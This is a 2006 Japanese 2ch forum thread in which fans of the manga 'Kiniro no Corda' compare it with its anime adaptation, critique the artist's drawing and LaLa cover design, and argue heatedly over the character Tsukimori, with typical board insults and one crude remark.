855 :花と名無しさん:2006/12/09(土) 14:14:56 ID:???0
本筋が面白ければ突っ込まれないほどのささやかなものと
本筋が面白かろうが突っ込まれるもの…の判断基準が人によって違うから
そこからすでに意見の相違が出てるんだと思う

あと、最近漫画を面白くないと感じていた人がアニメを観ることで
漫画を読み返し、当時はそれほど感じていなかったところに
あれこれ突っ込みを入れたくなってるような…そんな印象
アニメとの違いを書くのは個人的には構わないけれど、最低限でもせめて
漫画でも描かれていたことについては把握していてほしいと思う
でなければ、ただのアニメマンセー漫画アンチと言われてしまうから

856 :花と名無しさん:2006/12/09(土) 14:20:40 ID:???0
アニメ→漫画で新規加入の人には結構きついスレではあると思う


857 :花と名無しさん:2006/12/09(土) 14:24:39 ID:???0
それはまぁ仕方ないんじゃないの
今さらな話だし

858 :花と名無しさん:2006/12/09(土) 14:30:11 ID:???0
>>855 同意。

昨日からどーでもいいことにツッコミ過ぎって書いてる人がいるけど
その人にはどーでもいいことでも
引っ掛かりを覚える人もいるってだけだと思うけどな。

859 :花と名無しさん:2006/12/09(土) 14:31:41 ID:???0
>>858
だよな。もうそこからして意見が違うんだから
勝手に「どうでもいいこと」だと決め付けられてもな。

860 :花と名無しさん:2006/12/09(土) 15:24:49 ID:???0
漫画に描いてあることを描いてないとか言って批判するのはどうにかして欲しいよな

861 :花と名無しさん:2006/12/09(土) 15:50:08 ID:???0
ホントにな。

862 :花と名無しさん:2006/12/09(土) 15:57:34 ID:???0
萌えスレは、ここでの萌え話を禁止しないものなら賛成するよ

でも、萌えスレが出来たからあっちで話せとか、追い出そうとするなら反対

863 :花と名無しさん:2006/12/09(土) 16:16:48 ID:???0
3巻までは絶好調でした、自分的には
みんなも、その辺までは特別不満なかったんじゃない?

864 :花と名無しさん:2006/12/09(土) 16:19:35 ID:???0
追い出すかどうかはともかく、萌えスレが出来たら
ますます萌え話を振りにくい雰囲気にはなるんじゃないかと自分は思う

865 :花と名無しさん:2006/12/09(土) 16:22:21 ID:???O
そうだね。
3巻までは、絵も綺麗で、香穂子は音楽に興味持ってて、その他色々良かったな。
4巻以降は……
まず香穂子が別人だよね

866 :花と名無しさん:2006/12/09(土) 16:23:56 ID:???0
>>863
不満があっても、まだ初期だし新人さんだし…で見守る気分だったのが
どうも逆成長してるようなので厳しくなってるのもあると思う

867 :花と名無しさん:2006/12/09(土) 16:40:46 ID:???0
初連載なんでこれが決着するまでは見守るつもり
そうでなくても、メディアミックスものには甘い見方してるけど

868 :花と名無しさん:2006/12/09(土) 16:44:03 ID:???0
キャラの出番の偏りとか余計なエピが多少入るのは仕方ないと思ってる。
でも話の筋がボロボロだからなぁ

869 :花と名無しさん:2006/12/09(土) 16:48:37 ID:???0
香穂子がもっと応援したくなるようなヒロインだったらなぁ

870 :花と名無しさん:2006/12/09(土) 16:54:27 ID:???0
確かにこういう流れの時に「今月の○○(キャラ名)カッコヨス(;´Д`)」とか
書き込みにくいな、と思ったりw
一度粗が気になると、ずっと気になる気持ちはわかるが
あまりネガなこと言い出すとキリないな
漫画のネガキャンはアニメスレでもゲームスレでもうざがられるし(スレ違いだからっていうのもあるけど)

871 :花と名無しさん:2006/12/09(土) 16:58:58 ID:???0
スレ違いなら漫画萎え〜でも萌え〜でもうざがられるのが普通だろ

872 :花と名無しさん:2006/12/09(土) 17:07:41 ID:???O
以前、ゲームスレで漫画香穂子叩きが延々と続いた時は、流石にお前等帰れよと思ったが。

873 :花と名無しさん:2006/12/09(土) 17:13:31 ID:???0
アニメスレで漫画買おうか迷ってる人に「つまんないからやめとけ」と
レスしてるのをみたとき、正直余計な世話じゃないかと思った
つまらないかどうかは読んだ人間が決めることだろうに

874 :花と名無しさん:2006/12/09(土) 17:15:37 ID:???0
\\                  一  秒  毎 ー に               //
  \\           君 が イ ト シ イ  ず っ ー と            //
   \\         胸 の 鼓 動 が 響 い て い ー る       //
        .〃⌒⌒ヽ   ァ'`   ゝ  フ'⌒⌒ヽ  〃⌒⌒ヽ   .z`' ~' ゝ
         i, (iノ))ハ∩. ノノノハ()メ∩. フ(ノノ))ノ∩ i  ノノヽi)∩ <,ノi ハヽ∩
         `(  ゚A゚)彡  ミ( ・∀・)彡 ( =Д=)彡 .| .(i ´_ゝ`)彡  ( ゚∀゚)彡
         (  ⊂彡.   (  ⊂彡.   (  ⊂彡.   j,、(  ⊂彡.   (  ⊂彡
          |   |     |   |     |   |     |   |    |   |
          し ⌒J.    し ⌒J.    し ⌒J.    し ⌒J.   し ⌒J


875 :花と名無しさん:2006/12/09(土) 17:18:23 ID:???0
>>873
今はそれほどでもないけれど、一時期凄かったね

ただ、誰からどんなアドバイス(?)を受けようとも、
最終的に単行本に手を出すかどうか判断するのは本人なんだし、
そこまで追求することでもないかと思う
つまらないと言われても興味があるのなら中古本屋で立ち読みしたり、
一巻だけ買ってみたり、このスレを覗いたりしてるんじゃないかな
大きめの書店に行ったら、立ち読み専用の小冊子も置かれてるしさ

876 :花と名無しさん:2006/12/09(土) 17:18:53 ID:???0
>>873
確かに言い方ってもんはあるわな

877 :花と名無しさん:2006/12/09(土) 23:04:52 ID:???0
全サに初めて応募しようと思ってるんだが、返ってくる封筒てどんなのかな
でっかく「LaLa」とか印刷されてる?

878 :花と名無しさん:2006/12/09(土) 23:26:36 ID:???0
>>877
通例なら封筒の下にでっかく印刷されてて、イラストも入ってる。
恥をしのんでがんがれ

879 :花と名無しさん:2006/12/09(土) 23:28:04 ID:???0
マジかよ orz
応募しようかどうか激しく悩む(母親に見られる可能性大だから)

880 :花と名無しさん:2006/12/09(土) 23:29:08 ID:???O
しかも思いっきりララ全サの表記があったような…
前回の時はハートビートドラマって書かれてたかな?

881 :花と名無しさん:2006/12/10(日) 00:29:59 ID:???0
>>879
最後の手段伝授
っ郵便局留

882 :花と名無しさん:2006/12/10(日) 04:36:38 ID:???O
アニメに感化されて古本だけど漫画買ってしまった者です
その場にあった6巻だけだが
後悔はしていない
短編見たけど作者は絵に関してはすごい上達したんだな

883 :花と名無しさん:2006/12/10(日) 11:24:07 ID:???0
>>882
そんでまた劣化していくよ
古本で買って正解だね

884 :花と名無しさん:2006/12/10(日) 13:24:01 ID:???0
劣化っていうほど酷いかな?
短編の時より上達して最近雑になったけど
それでも綺麗だと思う。
漫画を描く人ではないので細かい評価はできないけど
絵はララの中でも上手な方だと思う。


885 :花と名無しさん:2006/12/10(日) 13:33:21 ID:???0
線が綺麗だと思う。
髪の毛とか、すごく丁寧

886 :花と名無しさん:2006/12/10(日) 13:52:51 ID:???0
線は以前より太くなった印象、でも嫌いではないし髪の描き方も好き
ただ、等身バランスの悪さ、骨格の歪みを感じるのは今も変わらないな
特に伏せ目がちな表情が最近の首の細さも手伝ってかどれも病的な印象を受ける

あとはもう少し主人公に女の子らしいラインが欲しいというか…
火原の言う「女の子って柔らかくていい匂いするよね」が
絵でなかなか伝わってこないのが個人的には寂しい
セレ衣装着たときくらい、もう少し色気が出ても良いと思うのだけど

887 :花と名無しさん:2006/12/10(日) 13:55:23 ID:???0
ララの中では、3本指の中にはいると思う<絵の上手さ

888 :花と名無しさん:2006/12/10(日) 15:51:04 ID:???0
ララは今そんなに下手な漫画家しか居ないのか
ちょっと驚いた
まあ、少女漫画は下手でも描けるしな

889 :花と名無しさん:2006/12/10(日) 15:56:15 ID:???0
>>888
いやいや、>887の意見をララ読者の総意みたいに解釈せんでくれ
自分はさすがに3本の指に入るとは思わん…ララスレでもあれほど
あれだけデッサンの狂いが指摘されてるのに、上手いとは言い難いよ

890 :花と名無しさん:2006/12/10(日) 16:32:06 ID:???O
3巻は好きなんだ
香穂子は、音楽と向き合いはじめようとしているし、絵も雑じゃないし、何より香穂子に胸があるから。
なんで、今は胸がないんだろう?

891 :花と名無しさん:2006/12/10(日) 16:53:03 ID:???0
頭身が下がったからだろ
それでも男女の体格差がありすぎるのが今月気になった
土浦の胸元までしか背がないよ元カノ

892 :花と名無しさん:2006/12/10(日) 17:04:59 ID:???0
元カノは小柄な設定なんではないの?
土浦と香穂子でも身長差は20センチ近くあるわけで
意識して差を強調してるんだと思ってたんだけど…そうでもないのかな

893 :花と名無しさん:2006/12/10(日) 17:10:43 ID:???0
漫画って極端に背が低い子(155cm以下)ってあんまり居ない気がする
だいたい158〜165cmくらいがデフォっぽい。
だから元カノもそれくらいだと思っていたけど違うのか


894 :花と名無しさん:2006/12/10(日) 17:15:36 ID:???0
>>892
普通の人の頭から胸元って最低でも40cm以上はあるんじゃ…
どんだけ小さいんだ元カノ

895 :花と名無しさん:2006/12/10(日) 17:16:24 ID:???0
デッサン狂いってのがよくわからない。
ありえない方向に手がついてるとか?
精密に人間を描かなきゃいけないの?
土浦の元カノの足は
O脚で悩んでいる友達を思い出して
とってもリアルだと思った。

896 :花と名無しさん:2006/12/10(日) 17:18:42 ID:???0
O脚より腰を突き出してるような立ち姿がなぁ・・・
言われてるけどオッサンみたいなんだもん
ただ単にO脚なだけならそんなに気にならなかったと思う

897 :花と名無しさん:2006/12/10(日) 17:22:26 ID:???0
>>895
そんなリアルならいらんw

少なくとも、7巻表紙の等身はあり得ないと思った

898 :花と名無しさん:2006/12/10(日) 17:41:04 ID:???0
等身が気になるやつはこれでも見て落ち着くべし

ttp://www.tbs.co.jp/holic/05chara/nanami.html

899 :花と名無しさん:2006/12/10(日) 17:43:23 ID:???0
そんな下の物と比べてもw

900 :花と名無しさん:2006/12/10(日) 18:49:21 ID:???0
頭身が気になるというか全体のバランスの問題だと思うな
呉さんより変な身体描く人は沢山いると思うよ
でも呉さんの絵は端正で顔が大人っぽいから
その顔にあの身体の組み合わせが極端に貧弱に見えるってことかと

901 :花と名無しさん:2006/12/10(日) 18:59:45 ID:???0
納得した
顔に力を入れすぎで、体は手抜きすぎなんだな
端正な顔の下に明らかに変なバランスの体がついてたら
そりゃ目立つわ

902 :花と名無しさん:2006/12/10(日) 19:03:49 ID:???0
んー…他作者と比べるんじゃなくてさ
バランスの悪さが改善されない+コミクス追うごとに
身体が貧相になっていってるという話ではないの?
ゲーム設定画のような下半身の線のブレはさすがになくなったけれど、
あおりやふかんは苦手な人なんだなと今見ても思うよ

もともと、そういう角度の絵自体あまりないから動きがなくて
パターンも少なくのっぺりしがちなのかなと…
いつも真正面、真横から眺めている印象が強いなぁ

903 :花と名無しさん:2006/12/10(日) 19:38:31 ID:???0
パターンが少ないにしても1月号の表紙はありゃないだろうと思った
どんなに忙しかったか知らないが、よくあんな構図で描く気になったな

904 :花と名無しさん:2006/12/10(日) 19:57:13 ID:???0
ジャンプとかだとある程度作家の要望も通るけど、
一応専門の人が構図とか決めてるらしいし、
LALAもやっぱ専門の人がきめてるんじゃないの?

905 :花と名無しさん:2006/12/10(日) 20:02:44 ID:???0
専門の人って例えば?
自分が他に読んでる漫画家は、編集にOKもらえるまで
ラフを出し続けるらしくて、没ラフ画をおまけぺーじだったかに載せてたな

906 :花と名無しさん:2006/12/10(日) 20:07:12 ID:???0
>>905
たとえばといわれてもw
前に製作者がそういってたんだよ

LALA持ってるなら後ろのほうにある製作者一覧みたいなことに
デザインやった人のってるんじゃない?

ジャンプ見たら
◆表紙/○○(作品名)
 デザイン/△△(所属)

ってあったよ

907 :花と名無しさん:2006/12/10(日) 20:08:10 ID:???O
デザインや構図決めてる人じゃない?
3B+香穂子の表紙のときは、キャラを一人ずつ描いて組み合わせたらしい
(ララ祭の原画みた人の感想で「一人ずつ描いてたんだー」みたいなのがあった)
キャラ絵描くのは作家で、キャラや文字の配置とかは
表紙デザインの専門の人の仕事になるんじゃないかな

908 :907:2006/12/10(日) 20:13:39 ID:???O
>906
すまん、かぶった…

909 :花と名無しさん:2006/12/10(日) 20:26:34 ID:???0
表紙デザインの人の仕事は文字や効果の入れ方とかを決める事で
キャラ絵の構図は漫画家と編集の分野じゃないの?

910 :花と名無しさん:2006/12/10(日) 20:30:45 ID:???0
>>909
コミックスや通常連載の表紙はソレでいいけど、
雑誌の表紙は文字だけじゃなく
宣伝とか告知とかもあるから
先にある程度決まってないと無理だと思うよ

911 :花と名無しさん:2006/12/10(日) 20:32:15 ID:???0
>905
てか、その漫画家さんてのはララ本誌の作家さんなの?

912 :花と名無しさん:2006/12/10(日) 20:34:38 ID:???0
結局lala本誌の後記はどうなってたんだろう
コミックス派なので確認の仕様がない

913 :花と名無しさん:2006/12/10(日) 20:35:17 ID:???0
>>911
ごめん、言葉足らずだった。他誌の漫画家のこと。
別の雑誌だと違うものかと思ったので書いたんだ。

914 :花と名無しさん:2006/12/10(日) 20:43:36 ID:???O
>912
確認したら、
表紙イラスト (作家名)
表紙デザイン (デザイン担当名)
になってたよ

915 :花と名無しさん:2006/12/10(日) 20:45:41 ID:???0
この流れで不意に「遙かの泰と神子の睨み合い表紙」を思い出したw
アレこそ、誰のどんな意思が働いてあんなんになったんだかww


こればっかりは、漫画家と編集たちが詳細を語らない限りわかんなくね?
漫画家(作品)によっても違ったり、編集側の指定もその時々で違ったりするだろうしさ。

916 :花と名無しさん:2006/12/10(日) 20:47:58 ID:???0
某ララ作家のコメント見る限り
白泉ではそういう構図の指定はされてないようだが

917 :花と名無しさん:2006/12/10(日) 20:50:00 ID:???0
構図の指定が仮にあったのだとしても
キャラの人数だとか幅とかその程度だと思うが…
漫画のネームみたいなもんを渡されるわけでもなし

918 :花と名無しさん:2006/12/10(日) 20:54:32 ID:???0
915を見て思い出したけど
泰神子の表紙案(ボツ含)が公開されてたけど
どれも構図はバラバラだったから別に指定はないものと思う

919 :花と名無しさん:2006/12/10(日) 21:44:53 ID:???0
>>916
されるされる。
花ゆめの例になるけど、羅川さんが主役二人の表紙描いたときに
肩組ませましょう(だったかな?)と言われて、そんなキャラじゃないのに……と
苦悩したという話がある。

ここからは憶測話になるけど、たぶん表紙のデザイナーは構図までは決めてないはず。
編集がその回の表紙の方向性(クリスマス号だとか正月らしくとか、上の例みたいに
主役たちを絡ませろとか)の指示を出して、作家がそれに沿った構図を2、3種類あげて、
その中から選ぶorダメ出しをされるって感じではないかと。

920 :花と名無しさん:2006/12/10(日) 22:08:40 ID:???0
>>919
昔、漫画じゃないけど本の編集してたときはおおむねそういう感じだった。
んで、その表紙の方向性を伝えるときに簡単なラフ絵を描く編集者もいれば、
口頭で説明する編集もいた。
さらに、ラフ絵通りのイラストをあげてくるイラストレーターもいれば、
自分で工夫してくるイラストレーターもいた。
編集によって、イラストレーターによって、パターンはいろいろ。

ただ、一つだけ言えるのは表紙は本の顔なので、かなり厳しくチェックされるということ。
編集会議で方向性を決めた上で、下っ端編集の私だけでなく、副編や編集長も
イラストレーターのあげてきたラフ絵をチェック。私がいいと思っても、もちろん上が
駄目だと思えば修正を要求したよ。

だから、少なくともあのLaLaの表紙を、編集はそれでいいと思って(もしかしたら、
そうした方がいいと思ったのかも知れない)描かせたことは確実。

921 :花と名無しさん:2006/12/10(日) 22:52:50 ID:???0
呉さんにはもう話を綺麗にまとめる気はサラサラなさそうなので、
もういっそララで許される範囲でエロに走ったら?
火原先輩や土浦と色々やっちゃって悩むヒロインでいいよもう

922 :花と名無しさん:2006/12/10(日) 22:57:07 ID:???0
>>921
どうしてそんな発想なのかわからないけど
そんなコルダはいりません。
虹でどうぞ

923 :花と名無しさん:2006/12/10(日) 22:58:53 ID:???0
どうしよう…こないの…




リリが

924 :花と名無しさん:2006/12/10(日) 23:16:24 ID:???O
ネオロマは下ネタとBL厳禁だぞ
少なくともキャラの中の人たちにはそう通達されてる
アニメやコミックでも同様のはず

925 :花と名無しさん:2006/12/10(日) 23:35:30 ID:???0
キスくらいはあるかもね、抗議の文を送る読者(キャラ萌えな人)が出てきそうだけど…

この後の流れだと、土浦自覚、火原浮上(告白?)の流れで、
最後は月森で締めそうな雰囲気かなー恋愛相手とかでなく進行として

926 :花と名無しさん:2006/12/10(日) 23:42:00 ID:???O
キスなら、柚木と香穂子とかで既にやってる。
火原の間接キスもあったな

927 :花と名無しさん:2006/12/10(日) 23:54:56 ID:???O
>>926
>925が言ってんのは口同士でしょ

もしかして、コルダにはそういうの絶対にないという認識が前提なの?

928 :花と名無しさん:2006/12/10(日) 23:56:33 ID:???0
ネオロマ漫画でもキスくらいならいいんじゃないの
既に前例もある

929 :花と名無しさん:2006/12/11(月) 01:45:20 ID:???0
アニメの実況板でまで、漫画の香穂子がウザイと主張してる人が居たよ
よほど漫画に興味持たせまいとしてるのか、なんだかな…

930 :花と名無しさん:2006/12/11(月) 01:46:23 ID:???0
ところで、月森の出番があったけど、
ここで色々2セレ月森に不満持ってた人はどんな感想なんだろうか

931 :花と名無しさん:2006/12/11(月) 01:53:35 ID:???0
>>930
香穂子を励ます(?)描写があったらしいね
自分もどんなか気になるなー

932 :花と名無しさん:2006/12/11(月) 02:02:51 ID:???0
>>930
正直、月森に惚れ直したw
短いがいいエピソードだったよ
あとはアニキャラの月森スレで

933 :花と名無しさん:2006/12/11(月) 02:18:31 ID:???0
萌話スレ立てる立てない以前に、萌えたい人はもうすでにアニキャラ個別スレいってそうだね。

934 :花と名無しさん:2006/12/11(月) 02:23:06 ID:???0
>>932
いや。萌え話したいんじゃなくてさ。
ちょっと前にここで「フォローがあればいいけど」とか「変わってなきゃどうしようもないキャラだ」
っていってたじゃん

ソレが気になってさ

935 :花と名無しさん:2006/12/11(月) 02:25:13 ID:???0
ちょっと変えるだけでこんなに良くなるとは・・・複雑な気分だ

936 :花と名無しさん:2006/12/11(月) 02:34:39 ID:???0
>>933
そうだね。
私は、贔屓キャラの萌えスレで話してる。
放映済みの漫画話なら、ネタバレ気にしなくて良いし。

937 :花と名無しさん:2006/12/11(月) 03:24:06 ID:???O
>>934
自分もそれは気になる

938 :花と名無しさん:2006/12/11(月) 04:54:51 ID:???0
香穂子とセックスしたい

939 :花と名無しさん:2006/12/11(月) 07:56:38 ID:???0
>>934
ごめん、ここでアニメの話をどこまでしていいのかわからんので感想だけにしてた

簡単に言うと、順位表を見て落ち込んでる香穂子の前に現れて、
「コンクールは結果がすべてだ」
「そんなことを気にする暇があったら第3セレに向けて準備したらどうか」
「次は自分が優勝する」
と、慰めてんだか発破かけてんだかわからないことを言って去る
で、香穂子も「気にしてる暇があったらもっと練習しよう」と浮上する

3人組のその後については特になし
冒頭に天羽宅でのお泊り会があったんだが、そこでも出てこなかったから
特に処分はなかったと思われる

940 :939:2006/12/11(月) 08:02:55 ID:???0
さらに勘違いしてたな
結局探してもらったことに対する謝辞の追加はなかったわけだが、
別に気にならなかったな
つか、自分はセレ後全員に向かって頭下げたところで解決してると思ってた

941 :花と名無しさん:2006/12/11(月) 14:34:47 ID:???0
謝辞はともかく、ライバルが減って願ったりという認識間違いを改めたと思わせるようなエピは漫画でも欲しかったな。
アニメでは>>939で何となく解るんだが。


942 :花と名無しさん:2006/12/11(月) 14:38:37 ID:???0
そもそも月森はライバルが減って願ったりなんて
普段は思ってないでしょ

でなきゃ1セレで香穂子を追いかけていかないでしょうよ

943 :花と名無しさん:2006/12/11(月) 14:49:40 ID:???O
しかも、自分の出番も控えているのに探しに行った。
なんだかんだで、結構甘いよ。
その辺は、きちんと理解した上での意見なのかな?

944 :花と名無しさん:2006/12/11(月) 14:58:34 ID:???0
だって月森は自分が優勝すると思っているものw
要するに相手を格下で、まともな敵とは思っていないってことじゃね?

問題は自分はそんな風に余裕ぶっこいているが、自分より格下の相手は必死で
ライバルが減って願ったりと思うような奴らばかりと思っていたことだ
失礼な話だよ
その認識改めエピソードは自分も欲しかったな


945 :花と名無しさん:2006/12/11(月) 15:05:36 ID:???0
優勝に関してはどこまで確信しているか知らないが
確かに自分を他の参加者たちと分けて考えているっぽい>月森

自分はライバルが減って願ったりとは思わないが、他の参加者たちは…って感じ。
音楽のスタンス以前に、人間性に関わる誤認識だもんな。
結構、重要だと思うが。



946 :花と名無しさん:2006/12/11(月) 15:08:29 ID:???0
>>944
さすがにそれはうがちすぎじゃないか?
まあでも、自分を助けるために走り回ってくれた人が
思いの他たくさんいたことを知って
照れたりぽかんとしたりする月森は見たかったw

947 :花と名無しさん:2006/12/11(月) 15:08:29 ID:???O
月森は、自分と異なった音楽の持ち主でも、見下す事はないと思うが。

948 :花と名無しさん:2006/12/11(月) 15:08:30 ID:???0
柚木に関しては当たっている気がするが、他の参加者は可哀想だよ〜


949 :花と名無しさん:2006/12/11(月) 15:13:12 ID:???0
つーか、月森の「ライバルが減って願ったり」という台詞は厳然としてあるわけだから、穿ちすぎも何もないだろう

それまでも、そしてそれ以降も、他の参加者と月森との差違を強調するエピソードが
折に触れて繰り返されているんだから、>>945は当たっていると思うぞ

950 :花と名無しさん:2006/12/11(月) 15:15:31 ID:???0
>>944
相手が隠したとかより
自分は自分、他人は他人って感じでそれぞれ隔離して
自分の世界に閉じこもってそうなイメージかな

でもソレが月森ってキャラだからなぁ
月森を閉じ込めた人とかきっと944のように思ってるんだろうと
ちょっと勉強になった

951 :花と名無しさん:2006/12/11(月) 15:16:56 ID:???0
だからそこで土浦との熱い友情ですよ

952 :花と名無しさん:2006/12/11(月) 15:17:39 ID:???0
>>950
自分は>>944だが、月森を襲った奴らと一緒にしないでくれ
失礼な奴だな

953 :花と名無しさん:2006/12/11(月) 15:20:13 ID:???0
何か…月森を擁護するファンが怖い…。
どうして>>950みたいな思考になるのか。
月森みたいな近視眼に見えるぞw

954 :花と名無しさん:2006/12/11(月) 15:21:48 ID:???0
>>952
おんなじようなもんだと思うよw

月森はつんけんしてるからそこから「アイツは悪意があるんだ!」と思い込んで
攻撃的に対応するわけで

ロッカーに閉じ込められて、それまで一生懸命練習して
敬愛する両親に聞かせるために備えてきたのに全部台無しになって

そりゃ自暴自棄にもなるっての
そんな精神状態でのぽろっと出た言葉をいつまでも引きずり回して
「それがアイツの本心なんだ!どうせいつもそう思ってたんだ!」
ってのは正直どうかと思うよ

955 :花と名無しさん:2006/12/11(月) 15:23:01 ID:???0
>>953
そうそう、月森は要するに近視眼なんだよ!
で、その近視眼からちょっぴりでいいから視野が広がるエピソードが欲しいという話をしているのに
月森ファンの人?が、発言者まで叩いて月森を擁護するから、変な流れになる…

おまいら、もちつけー!

956 :花と名無しさん:2006/12/11(月) 15:23:08 ID:???0
結局月森は心を開くわけでもなく、
土浦たちに感謝するわけでもなかったから

どうしようもないキャラ

ってことでFA?

957 :花と名無しさん:2006/12/11(月) 15:30:24 ID:???0
>>954
悪意だとか「それがアイツの本心なんだ!どうせいつもそう思ってたんだ!」 だなんて、誰も言ってないぞ
お前以外はね

本当に「ライバルが減って願ったり」と考えている人もいる
黒柚木みたいにね
そういう心根の人間がいる以上、それは悪意でも何でもない一つの解釈だ

問題は、(柚木を除く)参加者が「ライバルが減って願ったり」と考えずに月森のために奔走した事実があることだ
つまり、月森が他の参加者に対して適用した解釈が正しくなかったってことで
その間違いに気づくエピソードが欲しかったと語ることに、どうしてそこまでファビョルんだ?

自分だけが月森を理解していて、ちょっとでも月森を批判的に書く人間は悪意まみれの悪人なのか?
月森を襲った奴みたいに
お前の方が怖いよ



958 :花と名無しさん:2006/12/11(月) 15:32:35 ID:???0
>>956
いや、多分ちょっとは認識を改めて感謝し、心も開いたと思うよ。
その、ちょっとの変化が伝わってくるエピソードが欲しかったと話しているんじゃないの?

959 :花と名無しさん:2006/12/11(月) 15:36:20 ID:???0
>>956
結局心を開かなかったことになるのかなあ
コミックスの途中までは開きそうな流れに見えたのに、
ロッカー監禁でリセットされちゃった感じ?
もったいない

960 :花と名無しさん:2006/12/11(月) 15:36:25 ID:???0
確かに、月森批判は攻撃的というほどじゃないよな。
「こういうエピソードがほしかった」という書き方だし。

しかし月森擁護が攻撃的で引く。
やたらと思い込みが強くて電波だし、そういう思い込みの強い攻撃的な人に好かれるキャラなのかな、月森は…。

961 :花と名無しさん:2006/12/11(月) 15:36:52 ID:???0
>>957
> だって月森は自分が優勝すると思っているものw
> 要するに相手を格下で、まともな敵とは思っていないってことじゃね?

これって悪意があるとしか思えないんですが。
格下とか、なんでわざわざ印象の悪い言葉を使うのさ
あのメガネ君が言ってたじゃん?
「優勝は確約してもらってるのかい?」って。
1行目はそれっぽなぁ。っておもったし。

>問題は自分はそんな風に余裕ぶっこいているが、

月森が余裕ぶっこいてると思う時点で見当違いなんだって
あの男のどこに余裕があるんだよ

つまり「アイツは音楽家一家に生まれて才能に恵まれて俺達を見下してる」
って思ってるわけでしょう?
メガネ君の気持ちって今までよくわからなかったけど、
944を読んだとき、なんというか、いままで足りなかったピースを見つけたようで
感動したんだよ

一番下だけは同意だけど

962 :花と名無しさん:2006/12/11(月) 15:37:44 ID:???0
すべて呉さんの改悪のせいってことでww

963 :花と名無しさん:2006/12/11(月) 15:38:36 ID:???0
自分も>>958にイピョウ!
本当に変わらないキャラなら、ちょっと前の「今日はすまなかった」発言もなかっただろうし

>>960
ヒント   ( ・∀・)人(・∀・ )ナカーマ♪

964 :花と名無しさん:2006/12/11(月) 15:38:39 ID:???0
結局そこに行き着くのかwww

965 :花と名無しさん:2006/12/11(月) 15:39:56 ID:???0
んで。そのちょっとしたエピソードに今回の月森のエピソード? は
結局届かなかったということでおk?

966 :花と名無しさん:2006/12/11(月) 15:43:50 ID:???0
>>965
コミックは届いてないね
届いてればこんなに議論が噴出することもない

967 :花と名無しさん:2006/12/11(月) 15:50:53 ID:???0
>>961
優勝発言は、月森自身が折に触れて繰り返しているよ
1巻では香穂子程度のヴァイオリンでは話にならないとも言っている

悪意も何も、少なくとも香穂子を歯牙にかけない実力は持っている自信はあるってことだろう
>>944に先立つ>>942-943の、1セレで姿を消した香穂子を追っていったエピソードに関してはそれで説明が付く
(更に言うなら>>945の意見にも同意。月森は自分がコメントしたほかの参加者と自分を分けて考えているから
1セレでの追っかけエピソードも、自分は心配するが他の人は…という解釈ができる)

>月森が余裕ぶっこいてると思う時点で見当違いなんだって
>あの男のどこに余裕があるんだよ
>
>つまり「アイツは音楽家一家に生まれて才能に恵まれて俺達を見下してる」
>って思ってるわけでしょう?

飛躍、ありすぎ
月森のことを「音楽家一家に生まれて才能に恵まれて俺達を見下してる」 から余裕ぶっこいていると書いてあるか?
違うだろう。
このレスの2〜5行目からの理由での「余裕」を指摘しているのに
いきなり音楽科一家の生まれ云々に結びつけての決め付け、上の方でも言われているが
電波と指摘されても仕方ない


968 :花と名無しさん:2006/12/11(月) 15:53:57 ID:???O
もうすぐ次スレの時期ですよ

969 :花と名無しさん:2006/12/11(月) 15:54:57 ID:???0
この話題は荒れるなぁ…
>>955でFA?

970 :花と名無しさん:2006/12/11(月) 15:59:06 ID:???0
>>967
よくわかんないし論点がずれてるけど

自分が優勝すると思っている

優勝するために努力するのは当然

は全然意味が違うよ
あと香穂子のヴァイオリンの話がどう関係あるのか分からないのですが
単なるアドバイスじゃないの?

971 :花と名無しさん:2006/12/11(月) 16:00:18 ID:???0
うぉ。私か。
スレ立ていってくる

972 :花と名無しさん:2006/12/11(月) 16:01:00 ID:???0
つまり月森擁護の人は、批判の内容もろくに理解しないまま脊髄反射で批判を叩いている、でFA?

973 :花と名無しさん:2006/12/11(月) 16:02:45 ID:???0
呉由姫さんの作品をマターリ語りましょう。

・ネタバレ解禁は本誌発売日(24日)の正午から。
・まだ漫画化されていない部分のゲームのネタバレは控え目に。
・ネタバレする場合は、件名に「※ゲーム話」、本文は改行必須。
 (メール欄でのネタバレは2ch専用ブラウザから丸見えになるので禁止)
・アニメの話はほどほどに。
・次スレ立ては970。


・前スレ
☆★金色のコルダ★☆呉由姫 =part19=
http://comic6.2ch.net/test/read.cgi/gcomic/1164874857/

・ゲームに関しては女向ゲー一般のスレへ
乙女@【金色の】金色のコルダ31【(゚Д゚)ゴルァ!!】
http://game9.2ch.net/test/read.cgi/ggirl/1165132606/

・アニメに関してはアニメのスレへ
金色のコルダ〜primo passo〜 9弦目
http://anime.2ch.net/test/read.cgi/anime/1165741401/

・アニメのネタバレはアニメサロンのスレへ
【ネタバレ】金色のコルダ〜primo passo〜 2
http://anime.2ch.net/test/read.cgi/asaloon/1165219948/


たたなかった

>>972
煽るなヴォケ

974 :花と名無しさん:2006/12/11(月) 16:06:02 ID:???0
この前もこの話題で荒れたっけ
荒れる流れも同じような月森擁護の人はこの前の時と同じ人?

975 :花と名無しさん:2006/12/11(月) 16:06:13 ID:???0
>>972
FAだな。

論点がずれるも何も、よくわかんないと言いながら自分で論点をずらしている。
努力に関しては、ここでは関係ないのにね。

多分、>>944>>942-943を受けて書かれていることも理解していない。
だから香穂子の引き合いも理解できない。

わかんないなら、少なくともわかろうと努力してスレを何度も読み返せばいいのにね。
それをせずに、自分の決め付けでレスも理解せず発言者を批判するからスレが荒れる。
自分は1度読んだだけで理解できたが、わかんないならわかんないなりにもっと考えて書き込んでほしい。

976 :花と名無しさん:2006/12/11(月) 16:06:45 ID:???0
月森を擁護したい人もおちけつだが
妙に煽りたがりの人がいるのが長引く原因だと思うよ…

977 :花と名無しさん:2006/12/11(月) 16:08:00 ID:???0
>>974-976
誰かすれたててきて

ソレまで発言禁止


978 :花と名無しさん:2006/12/11(月) 16:09:42 ID:???0
>>974
多分、そう
やんわれたしなめられても自分の非は認めず、とにかく他者の書き込みを非難せずにいられないところがそっくり
特定キャラのファンというのは、どのスレでも似たパターンだけど

それと教えてチャソはどのスレでも嫌われる
スレを荒らしている自覚が少しでもあるなら、もっと考えた上で書き込んでくれ

979 :花と名無しさん:2006/12/11(月) 16:13:38 ID:???0
たてますた
次スレドゾー

☆★金色のコルダ★☆呉由姫 =part20=
http://comic6.2ch.net/test/read.cgi/gcomic/1165821167/

980 :花と名無しさん:2006/12/11(月) 16:14:01 ID:???0
あのなぁ、新スレを立てられない時にきちんと別の人にスレ立てを頼むことすらできないのか
批難や命令の文はバンバン書けても、お願いなんてできない?
最低だな…

とりあえず立ててみる
しばらく待ってくれ



